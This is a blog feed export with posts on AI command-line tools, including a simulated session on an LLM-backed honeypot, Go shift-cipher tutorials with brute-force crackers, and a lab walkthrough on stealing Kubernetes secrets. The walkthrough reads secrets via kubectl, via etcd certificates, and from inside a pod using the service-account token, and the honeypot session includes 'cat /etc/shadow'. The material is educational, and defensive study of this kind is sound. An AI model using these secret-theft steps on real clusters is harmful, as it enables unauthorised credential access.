tag:blogger.com,1999:blog-59419251827520040702024-03-25T18:36:13.551+01:00Jozef Reisinger's blogInfrastructure, security, programming ...Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.comBlogger49125tag:blogger.com,1999:blog-5941925182752004070.post-25633150901483975402024-03-18T10:35:00.004+01:002024-03-18T11:53:03.096+01:00AI for DevSecOps<img
src="https://github.com/jreisinger/docs/assets/1047259/952a4c34-5f48-4cfc-bc13-d67ebe51e522"
alt="image" />
<p>I’ve finally decided to try out a couple of AI related tools to see
whether they are useful for me. I didn’t want to spend too much time on
this (because who has time) so suppose I didn’t get too deep. I work in
the Dev/Sec/Ops area, meaning I do small-scale programming (as opposed
to full time application development), cybersecurity and IT operations.
Since I use terminal a lot I had a look at three non-GUI tools. Here’s
what I’ve done and what are my conclusions so far.</p>
<h2 id="ghatgpt-cli">Ghatgpt-cli</h2>
<p>First, I simply wanted a CLI interface to ChatGPT. One of the first
Google results was <a
href="https://github.com/kardolus/chatgpt-cli">this project</a>. You
just need to give it your <a
href="https://platform.openai.com/api-keys">API key</a> either via
environment variable (<code>export OPENAI_API_KEY=...</code>) or
configuration file (enter <code>api_key: ...</code> to
<code>~/.chatgpt-cli/config.yaml</code>) and you’re ready to go. Now I
don’t have to open a browser window and log in into ChatGPT:</p>
<pre><code>$ chatgpt write a simple REST API server in python
$ chatgpt what is the best security scanner for container images
$ chatgpt how do I create a kubernetes cluster on aws</code></pre>
<p>I don’t display the answers here to save paper but they are quite
usable! Especially when you’re familiar with the topic and can fix the
errors or modify the answer to suite you needs.</p>
<h2 id="fabric">Fabric</h2>
<p>I’ve been aware of Daniel Miessler’s <a
href="https://github.com/danielmiessler/fabric">project</a> for a while.
It’s basically a collection of ChatGPT prompts (called patterns in the
project) and a command line tool to run these prompts. The cool thing is
the prompts seem to be expertly written and they are continually
updated. Here are some of them.</p>
<p>Create a command with options (flags) based on its help and my
requirements:</p>
<pre><code>$ tool=curl;echo -e "use $tool to silently download body to a file.\n\n$($tool -h 2>&1)" | fabric --pattern create_command
curl -s -o output.txt <url>
$ tool=wget;echo -e "use $tool to silently download body to a file.\n\n$($tool -h 2>&1)" | fabric --pattern create_command
wget -q -O file URL</code></pre>
<p>Summarize what a program does and explain its parts:</p>
<pre><code>$ cat ~/github.com/jreisinger/tools/cmd/extracturl/main.go | fabric --pattern explain_code
EXPLANATION:
This Go program is designed to extract and print all the URLs found in the `<a>` (anchor) tags of a given webpage. The program consists of two main parts: the `main` function and the `extractURLs` function.
1. **Initialization and Argument Checking**:
- The program starts by setting up logging with a prefix that includes the program's name (obtained from `os.Args[0]`) and disabling additional flags for log output.
- It then checks if a URL has been provided as a command-line argument. If not, it logs a fatal error message instructing the user to supply a URL.
2. **URL Extraction**:
- The provided URL is passed to the `extractURLs` function.
- This function attempts to make an HTTP GET request to the URL. If this request fails, it returns an error.
- If the request is successful, it reads the response body using an HTML tokenizer from the `golang.org/x/net/html` package.
- The tokenizer iterates through the HTML tokens in the response body. When it finds start tags (`<a>`) for anchor elements, it looks for the `href` attribute within these tags. The value of each `href` attribute (which is a URL) is collected into a slice (list) of strings.
- Once all URLs have been collected or an error token is encountered (indicating the end of the document), the function returns the slice of URLs.
3. **Printing Extracted URLs**:
- Back in the `main` function, if `extractURLs` returns successfully, it iterates over the slice of URLs and prints each one to standard output.
This program is useful for scraping web pages to find all links present on them. It can be used for various purposes, such as web crawling, data mining, or SEO analysis.</code></pre>
<p>Help me to decide whether I should read a given text (rating and
quality-score seem most useful):</p>
<pre><code>$ wget -qO- https://jreisinger.blogspot.com/2022/09/preventing-git-leaks.html | fabric --pattern label_and_rate
{
"one-sentence-summary": "A detailed guide on preventing sensitive information leaks when using git, with practical steps and tools.",
"labels": "Tutorial, CyberSecurity, Technology, Education",
"rating:": "A Tier: (Should Consume Original Content This Month)",
"rating-explanation:": "The content provides a comprehensive tutorial on securing git repositories against leaks, aligns well with themes of cybersecurity and technology education, offers actionable steps and tools for implementation, emphasizes the importance of security in software development, and contributes to the broader discussion on protecting sensitive information in the digital age.",
"quality-score": 85,
"quality-score-explanation": "The content is highly informative and relevant to cybersecurity practices, offers practical solutions and tools, is well-structured and easy to follow, contributes valuable knowledge to the field of technology education, and addresses a critical aspect of digital security."
}</code></pre>
<p>Summarize an article:</p>
<pre><code>$ wget -qO- https://www.intercom.com/blog/run-less-software | fabric --pattern create_micro_summary
ONE SENTENCE SUMMARY:
Intercom's "Run Less Software" philosophy emphasizes choosing standard technology, outsourcing undifferentiated heavy lifting, and creating enduring competitive advantage.
MAIN POINTS:
- Standardize technology choices to become experts and build better, faster solutions.
- Outsource non-core activities to focus on creating value for customers.
- Spend time on activities that directly contribute to a competitive advantage.
TAKEAWAYS:
- Simplify technology stack for efficiency and expertise.
- Focus on core business and customer value.
- Ensure activities align with long-term competitive advantage.</code></pre>
<p>The project is well maintained, there are many more interesting
patterns and new ones will be probably added.</p>
<p>PS: I ran this blog post through AI to improve the writing
(<code>cat 2024-03-18-ai-for-devsecops.md | fabric --pattern improve_writing</code>)
but it removed some of my (attempted) jokes from the text … So you are
reading a pure human version :-).</p>
<h2 id="beelzebub">Beelzebub</h2>
<p>I wrote about basic setup of this honeypot in a previous post. This
time I wanted to see its AI part in action. The honeypot uses ChatGPT
API to simulate a Linux terminal. After cloning <a
href="https://github.com/mariocandela/beelzebub/">the repo</a> I had to
make couple of changes to make it work:</p>
<ol type="1">
<li>I added my ChatGPT API key to
<code>configurations/services/ssh-2222.yaml</code>.</li>
<li>I changed the unsupported model:</li>
</ol>
<pre><code>diff --git a/plugins/openai-gpt.go b/plugins/openai-gpt.go
<...>
- Model: "text-davinci-003",
+ Model: "gpt-3.5-turbo-instruct",
<...></code></pre>
<ol start="3" type="1">
<li>I changed the prompt slightly (this was optional):</li>
</ol>
<pre><code>diff --git a/plugins/openai-gpt.go b/plugins/openai-gpt.go
<...>
- promptVirtualizeLinuxTerminal = "I want you to act as a Linux terminal. I will type commands and you will reply with what the terminal should show. I want you to only reply with the terminal output inside one unique code block, and nothing else. Do no write explanations. Do not type commands unless I instruct you to do so.\n\nA:pwd\n\nQ:/home/user\n\n"
+ promptVirtualizeLinuxTerminal = "You will act as an Ubuntu Linux terminal. The user will type commands, and you are to reply with what the terminal should show. Your responses must be contained within a single code block. Do not provide explanations or type commands unless explicitly instructed by the user. Remember previous commands and consider their effects on subsequent outputs.\n\nA:pwd\n\nQ:/home/user\n\n"
<...></code></pre>
<p>I built and started the honeypot locally like this:</p>
<pre><code>$ docker-compose build
$ docker-compose up</code></pre>
<p>Then I logged in and tried a couple of commands:</p>
<pre><code>$ ssh root@localhost -p 2222
<...>
root@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
root@ubuntu:~$ su -
Password:
root@ubuntu:~$ id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~$ cat /etc/shadow
root:*:17541:0:99999:7:::
root@ubuntu:~$ go version
command not found: go
root@ubuntu:~$ apt install go
Reading package lists... Done
root@ubuntu:~$ go version
go version go1.10.4 linux/amd64</code></pre>
<p>It’s not perfect and if you are attentive and familiar with Linux
you’ll notice that something is fishy. But it’s quite impressive and I
think it manages to keep the average attacker busy at least for a
while.</p>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-70073315569588934962024-02-20T14:09:00.000+01:002024-02-24T15:15:32.972+01:00Shift cipher in Go with blocks<p>In the previous post we implemented a shift cipher that accepts key
of variable length. Now, the cryptographic algorithms can be classified
into two groups. Stream ciphers and block ciphers. Stream ciphers
process data a bit at a time and are good for continuous or unknown
amounts of data like in networking. Block ciphers operate with
fixed-length blocks of data and are suitable for handling variable sized
data. What group does our current implementation belong to? Well, it
works on a byte at a time so it sounds like a stream cipher. On the
other hand, it could be regarded as a block cipher where the block size
is one byte. In practice though it always enciphers or deciphers the
whole message so the block size equals the message size.</p>
<p>And this is a problem. How come? Well, if the message is not large,
it’s fine. But if it’s bigger, say 10GB, we might run out of memory
because we read all of it at once</p>
<pre><code>message, err := io.ReadAll(os.Stdin)</code></pre>
<p>and we pass all the bytes we read to Encipher or Decipher function.
But these functions only need to work on one byte at a time!</p>
<p>In order to turn our existing code into a practical block cipher, we
don’t need to change the cipher scheme, as such. We just need to make it
work with chunks, or blocks, of data. For this, there’s a special
interface in the standard library’s package
<code>crypto/cipher</code>:</p>
<pre><code>type Block interface {
BlockSize() int
Encrypt(dst, src []byte)
Decrypt(dst, src []byte)
}</code></pre>
<p>Standard library interfaces (other famous ones are io.Reader and
io.Writer) define standardized “connectors” that allow plugging together
different parts of code. So let’s implement it, i.e. let’s create a type
with the methods defined in the interface:</p>
<pre><code>// Cipher implements crypto/cipher.Block interface.
type Cipher struct {
key [BlockSize]byte
}
func NewCipher(key []byte) (cipher.Block, error) {
if len(key) != BlockSize {
return nil, fmt.Errorf("%w %d (must be %d)", ErrKeySize, len(key), BlockSize)
}
return &Cipher{
key: [BlockSize]byte(key),
}, nil
}
func (c *Cipher) Encrypt(dst, src []byte) {
for i, b := range src {
dst[i] = b + c.key[i]
}
}
func (c *Cipher) Decrypt(dst, src []byte) {
for i, b := range src {
dst[i] = b - c.key[i]
}
}
func (c *Cipher) BlockSize() int {
return BlockSize
}</code></pre>
<p>Fine but if you look at the signatures of the Encrypt and Decrypt
functions they still take all the data as input. Maybe we have a little
look at the documentation:</p>
<pre><code>$ go doc crypto/cipher Block
<...>
It provides the capability to encrypt or decrypt individual blocks. The mode
implementations extend that capability to streams of blocks.</code></pre>
<p>Aha, we need some other code, called mode, that will chop data for
the Encrypt and Decrypt functions into chunks:</p>
<pre><code>type BlockMode interface {
BlockSize() int
CryptBlocks(dst, src []byte)
} </code></pre>
<p>Let’s implement also this interface (I show here only the code for
encrypting):</p>
<pre><code>type Encrypter struct {
cipher cipher.Block
blockSize int
}
func NewEncrypter(c cipher.Block) Encrypter {
return Encrypter{
cipher: c,
blockSize: c.BlockSize(),
}
}
func (e Encrypter) CryptBlocks(dst, src []byte) {
if len(src)%e.blockSize != 0 {
panic("encrypter: input not full blocks")
}
if len(dst) < len(src) {
panic("encrypter: output smaller than input")
}
// Keep chopping block-sized pieces off the plaintext
// and enciphering them until there are no more pieces.
for len(src) > 0 {
e.cipher.Encrypt(dst[:e.blockSize], src[:e.blockSize])
dst = dst[e.blockSize:]
src = src[e.blockSize:]
}
}
func (e Encrypter) BlockSize() int {
return e.blockSize
}</code></pre>
<p>This is awesome and there’s one major problem. The CryptBlocks
function will panic if the plaintext is not aligned with the blockSize
(32 bytes in our case). It means we can work only with messages whose
length in bytes is a multiple of 32. Interesting but a bit limiting. We
improve on this situation by padding all messages to be multiples of 32.
We define the padding scheme like this. Both the number and the value of
padded bytes is equal to the difference from the nearest multiple of
block size. If the message size is aligned with the block size, the
number and the value of padded bytes is equal to the block size. And
here’s the code:</p>
<pre><code>func Pad(data []byte, blockSize int) []byte {
n := blockSize - len(data)%blockSize
padding := bytes.Repeat([]byte{byte(n)}, n)
return append(data, padding...)
}
func Unpad(data []byte, blockSize int) []byte {
n := int(data[len(data)-1])
return data[:len(data)-n]
}</code></pre>
<p>Finally we have all the necessary code to create commands that can
encrypt and decrypt arbitrary data:</p>
<pre><code>$ export KEY=0101010101010101010101010101010101010101010101010101010101010101
$ go run ./cmd/encipher/ -key $KEY < ../shift/testdata/tiger.txt | go run ./cmd/decipher/ -key $KEY
The tiger appears at its own pleasure. When we become very silent at that
place, with no expectation of the tiger, that is when he chooses to appear...
When we stand at the edge of the river waiting for the tiger, it seems that the
silence takes on a quality of its own. The mind comes to a stop. In the Indian
tradition that is the moment when the teacher says, “You are that. You are that
silence. You are that.”
--Francis Lucille, “The Perfume of Silence”</code></pre>
<p>See <a
href="https://github.com/jreisinger/pocs/tree/main/crypto/shift-block"
class="uri">https://github.com/jreisinger/pocs/tree/main/crypto/shift-block</a>
for the full code.</p>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-34993264416834177422024-02-16T11:13:00.002+01:002024-02-24T15:15:32.972+01:00Shift cipher in Go with multibyte key<p>In the previous blog post we developed a simple crypto system. Its
algorithm is based on shifting bytes by the number represented by a
single byte we call a key. It means Eve has to do at maximum 256 (1 byte
is 8 bits and that means 2^8 possibilities) guesses to find out the key.
Let’s try to improve the situation here by supporting longer keys.</p>
<p>To encipher a message we go through it byte by byte and we also go
byte by byte through the key. Usually the key is much shorter than the
message we want to encrypt. So we need to go through the key multiple
times. The math trick to do this is called modulo. A mod B is the
remainder that’s left after dividing A by B as many times as you can.
E.g. 5 mod 2 = 1. Modular arithmetic is sometimes called “clock
arithmentic” because it wraps around like an analog clock; 12 hours
later than 5 o’clock can’t be 17 o’clock, it’s 5 o’clock again. To put
it another way, 17 mod 12 = 5.</p>
<p>To illustrate how modulo (<code>%</code> in Go) works let’s write a
short program:</p>
<pre><code>func main() {
B := 3
for A := range 10 {
fmt.Printf("%d mod %d = ", A, B)
fmt.Println(A % B)
}
}
</code></pre>
<p>The program will produce this output - notice the result is never
greater than 2 which is handy for a slice (or array) index:</p>
<pre><code>0 mod 3 = 0
1 mod 3 = 1
2 mod 3 = 2
3 mod 3 = 0
4 mod 3 = 1
5 mod 3 = 2
6 mod 3 = 0
7 mod 3 = 1
8 mod 3 = 2
9 mod 3 = 0</code></pre>
<p>OK, let’s use modulo to help us encrypt a message:</p>
<pre><code>func Encipher(plaintext []byte, key []byte) []byte {
ciphertext := make([]byte, len(plaintext))
for i, b := range plaintext {
ciphertext[i] = b + key[i%len(key)]
}
return ciphertext
}</code></pre>
<p>To decrypt a message encrypted by a multi-byte key we do the same in
reverse:</p>
<pre><code>func Decipher(ciphertext []byte, key []byte) []byte {
plaintext := make([]byte, len(ciphertext))
for i, b := range ciphertext {
plaintext[i] = b - key[i%len(key)]
}
return plaintext
}</code></pre>
<p>Now, how do we pass a multi-byte key as a command line argument? The
key, in some sense, is just a single number, no matter how many bytes it
takes to express it. For example, if we had a 32-byte (that is, 256-bit)
key, we could express it as either a series of 32 integers (one for each
byte), or as a single very large integer. But Go’s <code>int64</code>
can hold only 8 bytes (or 64 bits) worth of information… There’s a neat
and concise way to write large integers: as a string, using hexadecimal
notation. For example the decimal number 3 735 928 559 can be
represented as DEADBEEF (4 bytes) in hex, isn’t that funny? :-) If fact,
any given byte can be written as exactly two hex digits, which is
convenient.</p>
<pre><code>$ echo hello | go run ./cmd/encipher -key DEADBEEF
F*[M�</code></pre>
<p>Also notice that unlike with the single-byte version, the same
plaintext letter does not always produce the same ciphertext letter. The
“ll” is enciphered as “[M”. This makes the frequency analysis a lot
harder for Eve.</p>
<p>But what troubles Eve even more is that her function for
brute-forcing single key shift ciphers won’t work anymore:</p>
<pre><code>func Crack(ciphertext, crib []byte) (key byte, err error) {
for guess := 0; guess < 256; guess++ {
plaintext := Decipher(ciphertext[:len(crib)], byte(guess))
if bytes.Equal(plaintext, crib) {
return byte(guess), nil
}
}
return 0, errors.New("no key found")
}</code></pre>
<p>She has to solve couple of issues:</p>
<ul>
<li>Repeat the guessing of the key byte multiple times. The number of
repetitions will be either the length of the encrypted message or some
value defined by us (<code>MaxKeyLen</code>); whatever is smaller.</li>
<li>In order to use the Decipher function she needs to create byte slice
out of a byte to match the function’s arguments type.</li>
<li>She has to check the whole key is correct after each cracked key
byte.</li>
</ul>
<pre><code>const MaxKeyLen = 32 // bytes
func Crack(ciphertext, crib []byte) (key []byte, err error) {
for k := range min(MaxKeyLen, len(ciphertext)) {
for guess := range 256 {
plaintext := Decipher([]byte{ciphertext[k]}, []byte{byte(guess)})
if plaintext[0] == crib[k] {
key = append(key, byte(guess))
break
}
}
if bytes.Equal(Decipher(ciphertext[:len(crib)], key), crib) {
return key, nil
}
}
return nil, errors.New("no key found")
}</code></pre>
<p>The longer key is harder to brute-force but it’s still possible:</p>
<pre><code>$ go run ./cmd/encipher -key DEADBEEF < ../shift/testdata/tiger.txt | go run ./cmd/crack -crib 'The tiger'
The tiger appears at its own pleasure. When we become very silent at that
place, with no expectation of the tiger, that is when he chooses to appear...
When we stand at the edge of the river waiting for the tiger, it seems that the
silence takes on a quality of its own. The mind comes to a stop. In the Indian
tradition that is the moment when the teacher says, “You are that. You are that
silence. You are that.”
--Francis Lucille, “The Perfume of Silence”</code></pre>
<p>However, there is a limitation (or a bug): the crib must be at least
as long as the key; it this case 4 bytes, i.e. ‘The’.</p>
<p>See <a
href="https://github.com/jreisinger/pocs/tree/main/crypto/shift-multibytekey"
class="uri">https://github.com/jreisinger/pocs/tree/main/crypto/shift-multibytekey</a>
for all the code including tests.</p>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-43349703394310060852024-02-15T18:32:00.006+01:002024-02-27T10:17:24.381+01:00Shift cipher in Go<p><img
src="https://github.com/jreisinger/docs/assets/1047259/fcb31959-1eeb-484d-a5ca-802187e0a595" /></p>
<p>A simple way to encipher (or encrypt) some data is by using the shift
cipher. We can do this in Go by going through the data byte by byte
adding a key to each of the bytes. In Go bytes are equivalent to 8-bit
numbers ranging from 0 to 255 (<code>byte</code> data type is actually
an alias for <code>uint8</code>).</p>
<pre><code>func Encipher(plaintext []byte, key byte) []byte {
ciphertext := make([]byte, len(plaintext))
for i, b := range plaintext {
ciphertext[i] = b + key
}
return ciphertext
}</code></pre>
<p>To decipher we need to do the same but in reverse, i.e. we detract
the key from each byte of the enciphered data.</p>
<pre><code>func Decipher(ciphertext []byte, key byte) []byte {
return Encipher(ciphertext, -key)
}</code></pre>
<p>This way Alice and Bob can exchange data in somehow secure manner. If
Eve wants to learn what are they talking about she needs to know the
encryption algorithm and the key. Let’s say she finds out they are using
the Caesar cipher so she just needs to crack the key. The standard way
to do this is called brute forcing, i.e. trying out all possibilities;
in our case all possible keys. She also needs to know some bytes from
the beginning of the “plaintext” data; this we call a crib.</p>
<pre><code>func Crack(ciphertext, crib []byte) (key byte, err error) {
for guess := 0; guess < 256; guess++ {
result := Decipher(ciphertext[:len(crib)], byte(guess))
if bytes.Equal(result, crib) {
return byte(guess), nil
}
}
return 0, errors.New("no key found")
}</code></pre>
<p>If we call these functions from within commands
(<code>package main</code>) it looks like this:</p>
<pre><code>$ echo HAL | go run ./cmd/encipher
IBM
$ echo IBM | go run ./cmd/decipher
HAL
$ echo hello world | go run ./cmd/encipher -key 10 | go run ./cmd/crack -crib hell
hello world</code></pre>
<p>See <a
href="https://github.com/jreisinger/pocs/tree/main/crypto/shift">shift</a>
for all the code. Most of the ideas and code come from John Arundel’s <a
href="https://bitfieldconsulting.com/books/crypto">book</a> I started to
read. I plan to write the code from the book and to take notes in the
form of blog posts like this one.</p>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-20314491343760583782024-01-27T18:25:00.003+01:002024-02-24T15:23:10.075+01:00Stealing Kubernetes secrets<img
src="https://github.com/jreisinger/docs/assets/1047259/5fe480d5-b257-4fe3-975b-1bdcc9fe5ad2"
/>
<p>Kubernetes provides an object called <a
href="https://kubernetes.io/docs/concepts/configuration/secret">Secret</a>
that is meant for storing sensitive data like passwords, tokens or keys.
Secrets are decoupled (distinct) from Pods to decrease the risk of
exposing sensitive data while creating, viewing and updating Pods.
Containers in a Pod can access secrets via <a
href="https://kubernetes.io/docs/tasks/inject-data-application/distribute-credentials-secure/#define-container-environment-variables-using-secret-data">environment</a>
variables or <a
href="https://kubernetes.io/docs/tasks/inject-data-application/distribute-credentials-secure/#create-a-pod-that-has-access-to-the-secret-data-through-a-volume">files</a>
mounted through volumes.</p>
<p>Let’s create a Secret named <code>mypassword</code> holding a
key/value pair <code>password=s3cret!</code>:</p>
<div class="sourceCode" id="cb1"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb1-1"><a href="#cb1-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> kubectl create secret generic mypassword <span class="at">--from-literal</span> password=s3cret!</span></code></pre></div>
<p>NOTE: When you create secrets from command line they get persisted in
your shell history file, e.g. <code>~/.bash_history</code>. To prevent
this add space in front of the command. The secret is also visible in
the processes listing, like <code>ps aux</code>. So it’s best not to
create production secrets from command line.</p>
<p>Ok, now, how secure is the secret we’ve created? It turns out that by
default, not very. Let’s have a look.</p>
<h2 id="getting-secrets-from-the-api-server">Getting secrets from the
API server</h2>
<p>Anyone who has access to the Kubernetes API server can get the
secret:</p>
<div class="sourceCode" id="cb2"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb2-1"><a href="#cb2-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> kubectl get secrets mypassword <span class="at">-o</span> yaml</span>
<span id="cb2-2"><a href="#cb2-2" aria-hidden="true" tabindex="-1"></a><span class="ex">...</span></span>
<span id="cb2-3"><a href="#cb2-3" aria-hidden="true" tabindex="-1"></a><span class="ex">data:</span></span>
<span id="cb2-4"><a href="#cb2-4" aria-hidden="true" tabindex="-1"></a> <span class="ex">password:</span> czNjcmV0IQ==</span>
<span id="cb2-5"><a href="#cb2-5" aria-hidden="true" tabindex="-1"></a><span class="ex">...</span></span></code></pre></div>
<p>Oh, but we can’t read it. Is it encrypted? No, it’s just base64
decoded:</p>
<div class="sourceCode" id="cb3"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb3-1"><a href="#cb3-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> echo czNjcmV0IQ== <span class="kw">|</span> <span class="fu">base64</span> <span class="at">-d</span> <span class="at">-</span></span>
<span id="cb3-2"><a href="#cb3-2" aria-hidden="true" tabindex="-1"></a><span class="ex">s3cret!</span></span></code></pre></div>
<h2 id="getting-secrets-from-etcd">Getting secrets from etcd</h2>
<p>Secrets, like other Kubernetes objects, are persisted in the etcd
data store; by default unencrypted. So if we can access the data store,
we can see the secrets. On a minikube cluster, we can do it like
this:</p>
<div class="sourceCode" id="cb4"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb4-1"><a href="#cb4-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> minikube ssh</span>
<span id="cb4-2"><a href="#cb4-2" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> sudo <span class="at">-i</span></span>
<span id="cb4-3"><a href="#cb4-3" aria-hidden="true" tabindex="-1"></a><span class="co">$ cat << "EOF" | bash</span></span>
<span id="cb4-4"><a href="#cb4-4" aria-hidden="true" tabindex="-1"></a><span class="bu">export</span> <span class="va">ETCDCTL_CACERT</span><span class="op">=</span>/var/lib/minikube/certs/etcd/ca.crt</span>
<span id="cb4-5"><a href="#cb4-5" aria-hidden="true" tabindex="-1"></a><span class="bu">export</span> <span class="va">ETCDCTL_CERT</span><span class="op">=</span>/var/lib/minikube/certs/etcd/peer.crt</span>
<span id="cb4-6"><a href="#cb4-6" aria-hidden="true" tabindex="-1"></a><span class="bu">export</span> <span class="va">ETCDCTL_KEY</span><span class="op">=</span>/var/lib/minikube/certs/etcd/peer.key</span>
<span id="cb4-7"><a href="#cb4-7" aria-hidden="true" tabindex="-1"></a><span class="bu">export</span> <span class="va">ETCDCTL_API</span><span class="op">=</span>3</span>
<span id="cb4-8"><a href="#cb4-8" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb4-9"><a href="#cb4-9" aria-hidden="true" tabindex="-1"></a><span class="va">ETCDCTL_BIN</span><span class="op">=</span><span class="va">$(</span><span class="fu">find</span> / <span class="at">-name</span> etcdctl <span class="kw">|</span> <span class="fu">grep</span> bin <span class="kw">|</span> <span class="fu">head</span> <span class="at">-1</span><span class="va">)</span></span>
<span id="cb4-10"><a href="#cb4-10" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb4-11"><a href="#cb4-11" aria-hidden="true" tabindex="-1"></a><span class="va">$ETCDCTL_BIN</span> get /registry/secrets/default/mypassword</span>
<span id="cb4-12"><a href="#cb4-12" aria-hidden="true" tabindex="-1"></a><span class="ex">EOF</span></span>
<span id="cb4-13"><a href="#cb4-13" aria-hidden="true" tabindex="-1"></a><span class="ex">...</span></span>
<span id="cb4-14"><a href="#cb4-14" aria-hidden="true" tabindex="-1"></a><span class="ex">passwords3cret!▒Opaque▒</span><span class="st">"</span></span>
<span id="cb4-15"><a href="#cb4-15" aria-hidden="true" tabindex="-1"></a><span class="st">...</span></span></code></pre></div>
<h2 id="getting-secrets-from-within-a-pod">Getting secrets from within a
Pod</h2>
<p>Let’s suppose that we can’t access the API server or the etcd
database because the cluster operator put some authorization in place.
And that’s the way to do it on a production cluster. The authorization
mechanism in Kubernetes is called RBAC (Role Based Access Control). It’s
composed of the following primitives</p>
<ul>
<li>User represents a “normal user” connecting to the cluster (there’s
no API resource for User)</li>
<li>ServiceAccount represents a program running in a pod and there is a
pre-created <code>default</code> service account for each namespace
assigned to each created pod</li>
<li>Role defines a set of permissions on a namespace (or cluster)
level</li>
<li>RoleBinding maps roles to users or service accounts on a namespace
(or cluster) level</li>
</ul>
<p>Let’s create a service account that is allowed to read (list allows
for implicit reading) all secrets within the default namespace:</p>
<div class="sourceCode" id="cb5"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb5-1"><a href="#cb5-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> kubectl create serviceaccount secrets-reader</span>
<span id="cb5-2"><a href="#cb5-2" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> kubectl create role read-secrets <span class="at">--resource</span> secrets <span class="at">--verb</span> list</span>
<span id="cb5-3"><a href="#cb5-3" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> kubectl create rolebinding secrets-reader <span class="at">--serviceaccount</span> default:secrets-reader <span class="at">--role</span> read-secrets</span></code></pre></div>
<p>Here’s a pod using the service account we have created (instead of
the default service account):</p>
<div class="sourceCode" id="cb6"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb6-1"><a href="#cb6-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> cat <span class="op"><< EOF</span> <span class="kw">|</span> <span class="ex">k</span> apply <span class="at">-f</span> <span class="at">-</span></span>
<span id="cb6-2"><a href="#cb6-2" aria-hidden="true" tabindex="-1"></a><span class="st">apiVersion: v1</span></span>
<span id="cb6-3"><a href="#cb6-3" aria-hidden="true" tabindex="-1"></a><span class="st">kind: Pod</span></span>
<span id="cb6-4"><a href="#cb6-4" aria-hidden="true" tabindex="-1"></a><span class="st">metadata:</span></span>
<span id="cb6-5"><a href="#cb6-5" aria-hidden="true" tabindex="-1"></a><span class="st"> labels:</span></span>
<span id="cb6-6"><a href="#cb6-6" aria-hidden="true" tabindex="-1"></a><span class="st"> run: nginx</span></span>
<span id="cb6-7"><a href="#cb6-7" aria-hidden="true" tabindex="-1"></a><span class="st"> name: nginx</span></span>
<span id="cb6-8"><a href="#cb6-8" aria-hidden="true" tabindex="-1"></a><span class="st">spec:</span></span>
<span id="cb6-9"><a href="#cb6-9" aria-hidden="true" tabindex="-1"></a><span class="st"> serviceAccount: secrets-reader</span></span>
<span id="cb6-10"><a href="#cb6-10" aria-hidden="true" tabindex="-1"></a><span class="st"> containers:</span></span>
<span id="cb6-11"><a href="#cb6-11" aria-hidden="true" tabindex="-1"></a><span class="st"> - image: nginx</span></span>
<span id="cb6-12"><a href="#cb6-12" aria-hidden="true" tabindex="-1"></a><span class="st"> name: nginx</span></span>
<span id="cb6-13"><a href="#cb6-13" aria-hidden="true" tabindex="-1"></a><span class="op">EOF</span></span></code></pre></div>
<p>Service account authenticates to the Kubernetes API via a JWT token
that is mounted inside pod containers. If an attacker gains access to a
container (for example by exploiting a vulnerability inside a web
application or a web server) she can get all secrets in a namespace (or
on the whole cluster if clusterrolebinding was used). Like this:</p>
<div class="sourceCode" id="cb7"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb7-1"><a href="#cb7-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> cat <span class="op"><< 'EOF'</span> <span class="kw">|</span> <span class="ex">kubectl</span> exec <span class="at">-i</span> nginx <span class="at">--</span> bash <span class="kw">|</span> <span class="ex">jq</span> <span class="at">-r</span> <span class="st">'.items[].data.password'</span> <span class="kw">|</span> <span class="fu">base64</span> <span class="at">-d</span></span>
<span id="cb7-2"><a href="#cb7-2" aria-hidden="true" tabindex="-1"></a><span class="st">SAPATH=/var/run/secrets/kubernetes.io/serviceaccount</span></span>
<span id="cb7-3"><a href="#cb7-3" aria-hidden="true" tabindex="-1"></a><span class="st">TOKEN=$(cat ${SAPATH}/token)</span></span>
<span id="cb7-4"><a href="#cb7-4" aria-hidden="true" tabindex="-1"></a><span class="st">CACERT=${SAPATH}/ca.crt</span></span>
<span id="cb7-5"><a href="#cb7-5" aria-hidden="true" tabindex="-1"></a><span class="st">URLPATH=https://kubernetes.default.svc/api/v1/namespaces/default/secrets</span></span>
<span id="cb7-6"><a href="#cb7-6" aria-hidden="true" tabindex="-1"></a><span class="st">curl -s --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" $URLPATH</span></span>
<span id="cb7-7"><a href="#cb7-7" aria-hidden="true" tabindex="-1"></a><span class="op">EOF</span></span></code></pre></div>
<h2 id="finding-risky-roles">Finding risky Roles</h2>
<p>There’s a tool called <a
href="https://github.com/cyberark/KubiScan">KubiScan</a> that can find
risky roles (and other objects) for you:</p>
<div class="sourceCode" id="cb8"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb8-1"><a href="#cb8-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> git clone git@github.com:cyberark/KubiScan.git</span>
